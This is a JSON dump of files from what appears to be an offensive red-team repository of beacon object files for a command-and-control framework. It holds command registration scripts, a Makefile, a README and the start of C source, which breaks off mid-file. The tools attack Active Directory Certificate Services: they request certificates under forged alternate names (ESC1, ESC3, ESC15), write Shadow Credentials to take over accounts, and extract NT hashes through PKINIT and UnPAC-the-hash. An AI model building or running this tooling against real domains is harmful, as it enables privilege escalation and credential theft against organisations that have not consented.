[
  {
    "path": ".gitignore",
    "content": "_bin\n.vscode\n.cache/jb\nSAL-BOF/vulndrivers.h\nCreds-BOF/nanodump/dist/\n\n# macOS\n.DS_Store\n**/.DS_Store\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/ADCS.axs",
    "content": "var metadata = {\n    name: \"ADCS-BOF\",\n    description: \"Active Directory Certificate Services Exploitation BOFs\"\n};\n\nlet _cmd_certi_auth = ax.create_command(\"auth\", \"Authenticate with certificate (PKINIT + UnPAC-the-hash)\", \"certi auth --cert MIIMcAIBAzCCDCwG....\");\n_cmd_certi_auth.addArgFlagString(\"--cert\", \"cert\", \"Base64 encoded PFX certificate\", \"\");\n_cmd_certi_auth.addArgFlagFile(\"--pfx\", \"pfx\", false, \"PFX certificate file\");\n_cmd_certi_auth.addArgFlagString(\"--password\", \"password\", \"PFX password\", \"\");\n_cmd_certi_auth.addArgFlagString(\"--dc\", \"dc\", \"Domain Controller address (auto-detected if not specified)\", \"\");\n_cmd_certi_auth.addArgBool(\"--no-unpac\", \"Only get TGT, don't extract NT hash\");\n_cmd_certi_auth.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let cert = parsed_json[\"cert\"];\n    let pfx = parsed_json[\"pfx\"];\n    let password = parsed_json[\"password\"];\n    let dc = parsed_json[\"dc\"];\n    let no_unpac = parsed_json[\"--no-unpac\"] ? 1 : 0;\n\n    if (!cert && !pfx) { throw new Error(\"Either --cert or --pfx must be specified\"); }\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,bytes,short\", [cert || \"\", password, dc, pfx || \"\", no_unpac]);\n    let bof_path = ax.script_dir() + \"_bin/ADCS/certi_auth.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Authenticate with certificate (PKINIT)\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nvar _cmd_certi_enum = ax.create_command(\"enum\", \"Enumerate CAs and templates in the AD\", \"certi enum\");\n_cmd_certi_enum.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n\n    let bof_path = ax.script_dir() + \"_bin/ADCS/certi_enum.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Enumerate CAs and templates\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\"`, message );\n});\n\n\n\nvar _cmd_certi_req = ax.create_command(\"request\", \"Request an enrollment certificate\", \"certi req --ca cert.example.org\\\\example-CERT-CA --template vulnTemplate --subject CN=Administrator,CN=Users,DC=example,DC=org --altname CN=second_adm,CN=Users,DC=example,DC=org --alturl tag:microsoft.com,2022-09-14:sid:S-1-5-21-3006160104-3291460162-27467737-1123\");\n_cmd_certi_req.addArgFlagString( \"--ca\",      \"CA\",       true, \"The certificate authority to use\");\n_cmd_certi_req.addArgFlagString(\"--template\", \"template\",       \"The certificate type to request (else default for User/Machine)\", \"\");\n_cmd_certi_req.addArgFlagString(\"--subject\",  \"subject\",        \"The subject's distinguished name (else default for user/machine)\", \"\");\n_cmd_certi_req.addArgFlagString(\"--altname\",  \"altname\",        \"The alternate subject's distinguished name\", \"\");\n_cmd_certi_req.addArgFlagString(\"--alturl\",   \"alturl\",         \"SAN URL entry, can be used to specify the alternate subject's SID\", \"\");\n_cmd_certi_req.addArgFlagString(\"--pfx-password\",   \"password\", \"PFX certificate password\", \"\");\n_cmd_certi_req.addArgBool(\"--install\", \"Install the certificate in current context?\");\n_cmd_certi_req.addArgBool(\"--machine\", \"Request a certificate for a machine instead of a user?\");\n_cmd_certi_req.addArgBool(\"--policy\",  \"Adds App policy to allow client auth and Acting as a certificate agent (for ESC15)\");\n_cmd_certi_req.addArgBool(\"--dns\",     \"Subject Altname given as a DNS name (else: Subject alt name given as UPN)\");\n_cmd_certi_req.addArgBool(\"--pem\", \"Output in PEM format instead of PFX\");\n_cmd_certi_req.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n\n    let ca       = \"\";\n    let template = parsed_json[\"template\"];\n    let subject  = parsed_json[\"subject\"];\n    let altname  = parsed_json[\"altname\"];\n    let alturl   = parsed_json[\"alturl\"];\n    let password = parsed_json[\"password\"];\n    let install = 0;\n    let machine = 0;\n    let policy  = 0;\n    let dns     = 0;\n    let pem = 0;\n\n    if(\"CA\" in parsed_json) {\n        ca = parsed_json[\"CA\"];\n    } else {\n        throw new Error(\"Need to provide the Certificate Authority at a minimum\");\n    }\n\n    if(parsed_json[\"--install\"]) { install = 1; }\n    if(parsed_json[\"--machine\"]) { machine = 1; }\n    if(parsed_json[\"--policy\"]) { policy = 1; }\n    if(parsed_json[\"--dns\"]) { dns = 1; }\n    if(parsed_json[\"--pem\"]) { pem = 1; }\n\n    let bof_params = ax.bof_pack(\"wstr,wstr,wstr,wstr,wstr,wstr,short,short,short,short,short\", [ca, template, subject, altname, alturl, password, install, machine, policy, dns, pem ]);\n    let bof_path = ax.script_dir() + \"_bin/ADCS/certi_req.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Request certificate\";\n\n    ax.execute_alias( id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message );\n});\n\n\n\nlet _cmd_certi_req_onbehalf = ax.create_command(\"request_on_behalf\", \"Request certificate on behalf of another user (ESC3)\", \"certi request_on_behalf cert.example.org\\\\example-CERT-CA vulnTemplate Administrator /tmp/ea.pfx\");\n_cmd_certi_req_onbehalf.addArgFlagString( \"--ca\",      \"ca\",       true, \"The certificate authority to use\");\n_cmd_certi_req_onbehalf.addArgFlagString(\"--template\", \"template\", true, \"Certificate template name\");\n_cmd_certi_req_onbehalf.addArgFlagString(\"--target\",   \"target\",   true, \"Target user (DOMAIN\\\\username)\");\n_cmd_certi_req_onbehalf.addArgFlagFile(\"--ea-pfx\",     \"ea-pfx\",  true, \"Enrollment Agent certificate (PFX file)\");\n_cmd_certi_req_onbehalf.addArgFlagString(\"--ea-password\", \"ea_password\", \"Enrollment Agent PFX password\", \"\");\n_cmd_certi_req_onbehalf.addArgFlagString(\"--pfx-password\", \"pfx_password\", \"Output PFX password\", \"\");\n_cmd_certi_req_onbehalf.addArgBool(\"--pem\", \"Output in PEM format instead of PFX\");\n_cmd_certi_req_onbehalf.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let ca = parsed_json[\"ca\"];\n    let template = parsed_json[\"template\"];\n    let target = parsed_json[\"target\"];\n    let ea_cert = parsed_json[\"ea-pfx\"];\n    let ea_password = parsed_json[\"ea_password\"];\n    let pfx_password = parsed_json[\"pfx_password\"];\n    let pem = 0;\n    if(parsed_json[\"--pem\"]) { pem = 1; }\n\n    let bof_params = ax.bof_pack(\"wstr,wstr,wstr,wstr,wstr,bytes,short\", [ca, template, target, ea_password, pfx_password, ea_cert, pem]);\n    let bof_path = ax.script_dir() + \"_bin/ADCS/certi_req_onbehalf.\" + ax.arch(id) + \".o\";\n    let message = \"Task: Request certificate on behalf of \" + target;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nlet _cmd_certi_shadow = ax.create_command(\"shadow\", \"Shadow Credentials attack - write KeyCredentialLink and get certificate\", \"certi shadow --target Administrator\");\n_cmd_certi_shadow.addArgFlagString(\"--target\", \"target\", true, \"Target user (sAMAccountName)\");\n_cmd_certi_shadow.addArgFlagString(\"--domain\", \"domain\", \"Domain name (auto-detected if not specified)\", \"\");\n_cmd_certi_shadow.addArgBool(\"--no-write\", \"Don't write to AD, just generate certificate\");\n_cmd_certi_shadow.addArgBool(\"--clear\", \"Clear msDS-KeyCredentialLink (don't write new, only clear)\");\n_cmd_certi_shadow.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let target = parsed_json[\"target\"];\n    let domain = parsed_json[\"domain\"];\n    let no_write = parsed_json[\"--no-write\"] ? 1 : 0;\n    let clear = parsed_json[\"--clear\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,short,short\", [target, domain, no_write, clear]);\n    let bof_path = ax.script_dir() + \"_bin/ADCS/certi_shadow.\" + ax.arch(id) + \".o\";\n    let message = clear ? \"Task: Clear Shadow Credentials from \" + target + \"@\" + domain \n                        : \"Task: Shadow Credentials attack on \" + target + \"@\" + domain;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\n\nvar cmd_certi = ax.create_command(\"certi\", \"ADCS BOF\");\ncmd_certi.addSubCommands([ _cmd_certi_auth, _cmd_certi_enum, _cmd_certi_req, _cmd_certi_req_onbehalf, _cmd_certi_shadow ]);\n\nvar group_adcs = ax.create_commands_group(\"ADCS-BOF\", [cmd_certi]);\nax.register_commands_group(group_adcs, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);"
  },
  {
    "path": "AD-BOF/ADCS-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ../../_include -w -Wno-incompatible-pointer-types -Os -s -DBOF -c\n\nall: bof\n\nbof:\n\t@(mkdir -p _bin/ADCS 2>/dev/null) && echo 'creating _bin/ADCS' || echo '_bin/ADCS exists'\n\t@($(CC64) $(CFLAGS) src/enum/entry.c -o _bin/ADCS/certi_enum.x64.o   && $(STRIP64) _bin/ADCS/certi_enum.x64.o) && echo '[+] enum' || echo '[!] enum'\n\t@($(CC64) $(CFLAGS) src/request/entry.c -o _bin/ADCS/certi_req.x64.o && $(STRIP64) _bin/ADCS/certi_req.x64.o)  && echo '[+] certi_req' || echo '[!] certi_req'\n\t@($(CC64) $(CFLAGS) src/request_on_behalf/entry.c -o _bin/ADCS/certi_req_onbehalf.x64.o && $(STRIP64) _bin/ADCS/certi_req_onbehalf.x64.o) && echo '[+] certi_req_onbehalf' || echo '[!] certi_req_onbehalf'\n\t@($(CC64) $(CFLAGS) src/auth/certi_auth.c -o _bin/ADCS/certi_auth.x64.o && $(STRIP64) _bin/ADCS/certi_auth.x64.o) && echo '[+] certi_auth' || echo '[!] certi_auth'\n\t@($(CC64) $(CFLAGS) src/shadow/certi_shadow.c -o _bin/ADCS/certi_shadow.x64.o && $(STRIP64) _bin/ADCS/certi_shadow.x64.o) && echo '[+] certi_shadow' || echo '[!] certi_shadow'\n\nclean:\n\t@(rm -rf _bin)"
  },
  {
    "path": "AD-BOF/ADCS-BOF/README.md",
    "content": "# ADCS-BOF\n\nA library of beacon object files to interact with ADCS servers and certificates.\n\n\n\n## certi auth\n\nAuthenticate with certificate (PKINIT + UnPAC-the-hash)\n\n```\ncerti auth <{--cert base64_cert} || {--pfx file.pfx}> [--password pfx_password] [--dc DC] [--no-unpac]\n```\n\n* `--cert` - Base64 encoded PFX certificate\n* `--pfx` - PFX certificate file\n* `--password` - PFX password\n* `--dc` - Domain Controller address (auto-detected if not specified)\n* `--no-unpac` - Only get TGT, don't extract NT hash\n\n\n\n## certi enum\n\nEnumerate CAs and templates in the AD\n\n```\ncerti enum\n```\n\n\n\n## certi request\n\nRequest an enrollment certificate \n\n```\ncerti req <--ca CA> [--template Template] [--subject CN] [--altname CN] [--alturl tag:microsoft.com,2022-09-14:sid:<SID>] [--install] [--machine] [--policy] [--dns] [--pfx-password password] [--pem]\n```\n\n* `--ca` - The certificate authority to use\n* `--template` - The certificate type to request (else default for User/Machine)\n* `--subject` - The subject's distinguished name (else default for user/machine)\n* `--altname` - The alternate subject's distinguished name\n* `--alturl` - SAN URL entry, can be used to specify the alternate subject's SID\n* `--install` - Install the certificate in current context?\n* `--pfx-password` - Output PFX password\n* `--machine` - Request a certificate for a machine instead of a user?\n* `--policy` - Adds App policy to allow client auth and Acting as a certificate agent (for ESC15)\n* `--dns` - Subject Altname given as a DNS name (else: Subject alt name given as UPN).\n* `--pem` - Output in PEM format instead of PFX\n\n\n\n## certi request_on_behalf\n\nRequest certificate on behalf of another user (ESC3)\n\n```\ncerti request_on_behalf --ca <ca> --template <template> --target <target> --ea-pfx <cert> [--ea-password password] [--pfx-password password] [--pem]\n```\n\n* `--ca` - The certificate authority to use\n* `--template` - The certificate type to request (else default for User/Machine)\n* `--target` - Target user (DOMAIN\\\\username)\n* `--altname` - The alternate subject's distinguished name\n* `--ea-pfx` - Enrollment Agent certificate (PFX file\n* `--ea-password` - Enrollment Agent PFX password\n* `--pfx-password` - Output PFX password\n* `--pem` - Output in PEM format instead of PFX\n\n\n\n## certi shadow\n\nShadow Credentials attack - write KeyCredentialLink and get certificate\n\n```\ncerti shadow --target <account> [--clear] [--domain domain] [--no-write]\n```\n\n* `--target` - Target user (sAMAccountName)\n* `--clear` - Clear msDS-KeyCredentialLink (don't write new, only clear)\n* `--domain` - Domain name (auto-detected if not specified)\n* `--no-write` - Don't write to AD, just generate certificate\n\n\n\n## References\n- [https://github.com/trustedsec/CS-Remote-OPs-BOF](https://github.com/trustedsec/CS-Remote-OPs-BOF)\n- [https://github.com/trustedsec/CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF)\n- [https://github.com/RayRRT/ESC1-unPAC]\n- [https://github.com/RayRRT/BOFs/tree/main/ShadowCreds-unPAC-BOF]"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/auth/certi_auth.c",
    "content": "#define WIN32_LEAN_AND_MEAN\n#define _WINSOCK_DEPRECATED_NO_WARNINGS\n\n#include <windows.h>\n#include <winsock2.h>\n#include <ws2tcpip.h>\n\n#include <wincrypt.h>\n#include <winldap.h>\n#include <dsgetdc.h>\n#include <lm.h>\n\n#include \"beacon.h\"\n#define CALLBACK_OUTPUT 0x0\n#define CALLBACK_ERROR 0x0d\n\n/* Missing COM type definitions for BOF mode */\ntypedef void* LPUNKNOWN;\ntypedef WCHAR OLECHAR;\ntypedef OLECHAR* LPOLESTR;\ntypedef OLECHAR* BSTR;\n\n/* Kerberos Message Types */\n#define KRB_AS_REQ      10\n#define KRB_AS_REP      11\n#define KRB_ERROR       30\n\n/* PA-DATA Types */\n#define PA_PK_AS_REQ    16\n#define PA_PK_AS_REP    17\n#define PA_PAC_CREDENTIALS 167\n\n/* Encryption Types */\n#define ETYPE_AES256_CTS_HMAC_SHA1  18\n#define ETYPE_AES128_CTS_HMAC_SHA1  17\n#define ETYPE_RC4_HMAC              23\n\n/* Key Usage */\n#define KRB_KEY_USAGE_AS_REP_ENCPART    3\n#define KRB_KEY_USAGE_PAC_CREDENTIAL    16\n\n/* Certificate Request */\n#define CR_IN_BASE64    0x00000001\n#define CR_IN_PKCS10    0x00000100\n#define CR_OUT_BASE64   0x00000001\n#define CR_DISP_INCOMPLETE          0\n#define CR_DISP_ERROR               1\n#define CR_DISP_DENIED              2\n#define CR_DISP_ISSUED              3\n#define CR_DISP_ISSUED_OUT_OF_BAND  4\n#define CR_DISP_UNDER_SUBMISSION    5\n#define CR_DISP_REVOKED             6\n\n/* Base64 decoding flags - use ANY for flexibility with line breaks */\n#ifndef CRYPT_STRING_BASE64_ANY\n#define CRYPT_STRING_BASE64_ANY     0x00000006\n#endif\n\n/* MODP Group 2 - 1024 bit DH parameters (RFC 2409) */\nstatic const BYTE DH_P_MODP2[] = {\n    0x00,\n    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n    0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,\n    0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,\n    0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,\n    0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,\n    0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,\n    0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,\n    0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,\n    0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,\n    0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,\n    0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,\n    0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,\n    0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,\n    0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,\n    0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81,\n    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF\n};\nstatic const BYTE DH_G_MODP2[] = { 0x02 };\n\n#define szOID_NT_PRINCIPAL_NAME \"1.3.6.1.4.1.311.20.2.3\"\n\n/* PKINIT OIDs - RFC 4556 */\n#define szOID_PKINIT_AUTHDATA   \"1.3.6.1.5.2.3.1\"  /* id-pkinit-authData */\n#define szOID_PKINIT_DHKEYSDATA \"1.3.6.1.5.2.3.2\"  /* id-pkinit-DHKeyData */\n\n/* Global state for PKINIT */\nstatic BYTE g_dhPrivateKey[128];\nstatic BYTE g_dhPublicKey[128];\nstatic BYTE g_sessionKey[32];\nstatic BYTE g_replyKey[32];\nstatic int g_nonce;\n\n/*\n * =============================================================================\n * Function Declarations for DFR\n * =============================================================================\n */\n\n#ifdef BOF\n/* Winsock */\nDECLSPEC_IMPORT int WSAAPI WS2_32$WSAStartup(WORD, LPWSADATA);\nDECLSPEC_IMPORT int WSAAPI WS2_32$WSACleanup(void);\nDECLSPEC_IMPORT SOCKET WSAAPI WS2_32$socket(int, int, int);\nDECLSPEC_IMPORT int WSAAPI WS2_32$connect(SOCKET, const struct sockaddr*, int);\nDECLSPEC_IMPORT int WSAAPI WS2_32$send(SOCKET, const char*, int, int);\nDECLSPEC_IMPORT int WSAAPI WS2_32$recv(SOCKET, char*, int, int);\nDECLSPEC_IMPORT int WSAAPI WS2_32$closesocket(SOCKET);\nDECLSPEC_IMPORT struct hostent* WSAAPI WS2_32$gethostbyname(const char*);\nDECLSPEC_IMPORT unsigned long WSAAPI WS2_32$inet_addr(const char*);\nDECLSPEC_IMPORT unsigned short WSAAPI WS2_32$htons(unsigned short);\nDECLSPEC_IMPORT unsigned long WSAAPI WS2_32$htonl(unsigned long);\nDECLSPEC_IMPORT unsigned long WSAAPI WS2_32$ntohl(unsigned long);\n\n/* Crypto - ADVAPI32 */\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptAcquireContextW(HCRYPTPROV*, LPCWSTR, LPCWSTR, DWORD, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptReleaseContext(HCRYPTPROV, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptGenKey(HCRYPTPROV, ALG_ID, DWORD, HCRYPTKEY*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptDestroyKey(HCRYPTKEY);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptGenRandom(HCRYPTPROV, DWORD, BYTE*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptCreateHash(HCRYPTPROV, ALG_ID, HCRYPTKEY, DWORD, HCRYPTHASH*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptHashData(HCRYPTHASH, const BYTE*, DWORD, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptGetHashParam(HCRYPTHASH, DWORD, BYTE*, DWORD*, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptDestroyHash(HCRYPTHASH);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptExportKey(HCRYPTKEY, HCRYPTKEY, DWORD, DWORD, BYTE*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptImportKey(HCRYPTPROV, const BYTE*, DWORD, HCRYPTKEY, DWORD, HCRYPTKEY*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptSetKeyParam(HCRYPTKEY, DWORD, const BYTE*, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptDecrypt(HCRYPTKEY, HCRYPTHASH, BOOL, DWORD, BYTE*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptSignHashW(HCRYPTHASH, DWORD, LPCWSTR, DWORD, BYTE*, DWORD*);\n\n/* Crypto - CRYPT32 */\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptEncodeObjectEx(DWORD, LPCSTR, const void*, DWORD, PCRYPT_ENCODE_PARA, void*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptDecodeObjectEx(DWORD, LPCSTR, const BYTE*, DWORD, DWORD, PCRYPT_DECODE_PARA, void*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptBinaryToStringA(const BYTE*, DWORD, DWORD, LPSTR, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptStringToBinaryA(LPCSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertStrToNameA(DWORD, LPCSTR, DWORD, void*, BYTE*, DWORD*, LPCSTR*);\nDECLSPEC_IMPORT PCCERT_CONTEXT WINAPI CRYPT32$CertCreateCertificateContext(DWORD, const BYTE*, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertFreeCertificateContext(PCCERT_CONTEXT);\nDECLSPEC_IMPORT HCERTSTORE WINAPI CRYPT32$CertOpenStore(LPCSTR, DWORD, HCRYPTPROV_LEGACY, DWORD, const void*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertCloseStore(HCERTSTORE, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertAddCertificateContextToStore(HCERTSTORE, PCCERT_CONTEXT, DWORD, PCCERT_CONTEXT*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertSetCertificateContextProperty(PCCERT_CONTEXT, DWORD, DWORD, const void*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$PFXExportCertStoreEx(HCERTSTORE, CRYPT_DATA_BLOB*, LPCWSTR, void*, DWORD);\nDECLSPEC_IMPORT HCERTSTORE WINAPI CRYPT32$PFXImportCertStore(CRYPT_DATA_BLOB*, LPCWSTR, DWORD);\nDECLSPEC_IMPORT PCCERT_CONTEXT WINAPI CRYPT32$CertEnumCertificatesInStore(HCERTSTORE, PCCERT_CONTEXT);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptAcquireCertificatePrivateKey(PCCERT_CONTEXT, DWORD, void*, HCRYPTPROV_OR_NCRYPT_KEY_HANDLE*, DWORD*, BOOL*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptSignMessage(PCRYPT_SIGN_MESSAGE_PARA, BOOL, DWORD, const BYTE*[], DWORD[], BYTE*, DWORD*);\nDECLSPEC_IMPORT HCRYPTMSG WINAPI CRYPT32$CryptMsgOpenToEncode(DWORD, DWORD, DWORD, const void*, LPSTR, PCMSG_STREAM_INFO);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptMsgUpdate(HCRYPTMSG, const BYTE*, DWORD, BOOL);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptMsgGetParam(HCRYPTMSG, DWORD, DWORD, void*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptMsgClose(HCRYPTMSG);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptExportPublicKeyInfo(HCRYPTPROV, DWORD, DWORD, PCERT_PUBLIC_KEY_INFO, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptSignAndEncodeCertificate(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE, DWORD, DWORD, LPCSTR, const void*, PCRYPT_ALGORITHM_IDENTIFIER, const void*, BYTE*, DWORD*);\n\n/* COM */\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD);\nDECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID*);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateGuid(GUID*);\nDECLSPEC_IMPORT BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR*);\nDECLSPEC_IMPORT void WINAPI OLEAUT32$SysFreeString(BSTR);\n\n/* NetAPI */\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameW(LPCWSTR, LPCWSTR, GUID*, LPCWSTR, ULONG, PDOMAIN_CONTROLLER_INFOW*);\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);\n\n/* Kernel32 */\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc(UINT, SIZE_T);\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL);\nDECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR);\nDECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$FreeLibrary(HMODULE);\nDECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT, DWORD, LPCCH, int, LPWSTR, int);\nDECLSPEC_IMPORT int WINAPI KERNEL32$WideCharToMultiByte(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL);\nDECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemTime(LPSYSTEMTIME);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileSize(HANDLE, LPDWORD);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetComputerNameExW(int, LPWSTR, LPDWORD);\n\n/* MSVCRT */\nDECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t);\nDECLSPEC_IMPORT void __cdecl MSVCRT$free(void*);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void*, int, size_t);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void*, const void*, size_t);\nDECLSPEC_IMPORT int __cdecl MSVCRT$memcmp(const void*, const void*, size_t);\nDECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char*);\nDECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(const wchar_t*);\nDECLSPEC_IMPORT int __cdecl MSVCRT$sprintf(char*, const char*, ...);\nDECLSPEC_IMPORT int __cdecl MSVCRT$swprintf(wchar_t*, const wchar_t*, ...);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcpy(char*, const char*);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcat(char*, const char*);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strchr(const char*, int);\nDECLSPEC_IMPORT wchar_t* __cdecl MSVCRT$wcscpy(wchar_t*, const wchar_t*);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char*, const char*);\nDECLSPEC_IMPORT int __cdecl MSVCRT$rand(void);\nDECLSPEC_IMPORT void __cdecl MSVCRT$srand(unsigned int);\nDECLSPEC_IMPORT time_t __cdecl MSVCRT$time(time_t*);\n\n/* DFR macros */\n#define WSAStartup WS2_32$WSAStartup\n#define WSACleanup WS2_32$WSACleanup\n#define socket WS2_32$socket\n#define connect WS2_32$connect\n#define send WS2_32$send\n#define recv WS2_32$recv\n#define closesocket WS2_32$closesocket\n#define gethostbyname WS2_32$gethostbyname\n#define inet_addr WS2_32$inet_addr\n#define htons WS2_32$htons\n#define htonl WS2_32$htonl\n#define ntohl WS2_32$ntohl\n\n#define CryptAcquireContextW ADVAPI32$CryptAcquireContextW\n#define CryptReleaseContext ADVAPI32$CryptReleaseContext\n#define CryptGenKey ADVAPI32$CryptGenKey\n#define CryptDestroyKey ADVAPI32$CryptDestroyKey\n#define CryptGenRandom ADVAPI32$CryptGenRandom\n#define CryptCreateHash ADVAPI32$CryptCreateHash\n#define CryptHashData ADVAPI32$CryptHashData\n#define CryptGetHashParam ADVAPI32$CryptGetHashParam\n#define CryptDestroyHash ADVAPI32$CryptDestroyHash\n#define CryptExportKey ADVAPI32$CryptExportKey\n#define CryptImportKey ADVAPI32$CryptImportKey\n#define CryptSetKeyParam ADVAPI32$CryptSetKeyParam\n#define CryptDecrypt ADVAPI32$CryptDecrypt\n#define CryptSignHashW ADVAPI32$CryptSignHashW\n\n#define CryptEncodeObjectEx CRYPT32$CryptEncodeObjectEx\n#define CryptDecodeObjectEx CRYPT32$CryptDecodeObjectEx\n#define CryptBinaryToStringA CRYPT32$CryptBinaryToStringA\n#define CryptStringToBinaryA CRYPT32$CryptStringToBinaryA\n#define CertStrToNameA CRYPT32$CertStrToNameA\n#define CertCreateCertificateContext 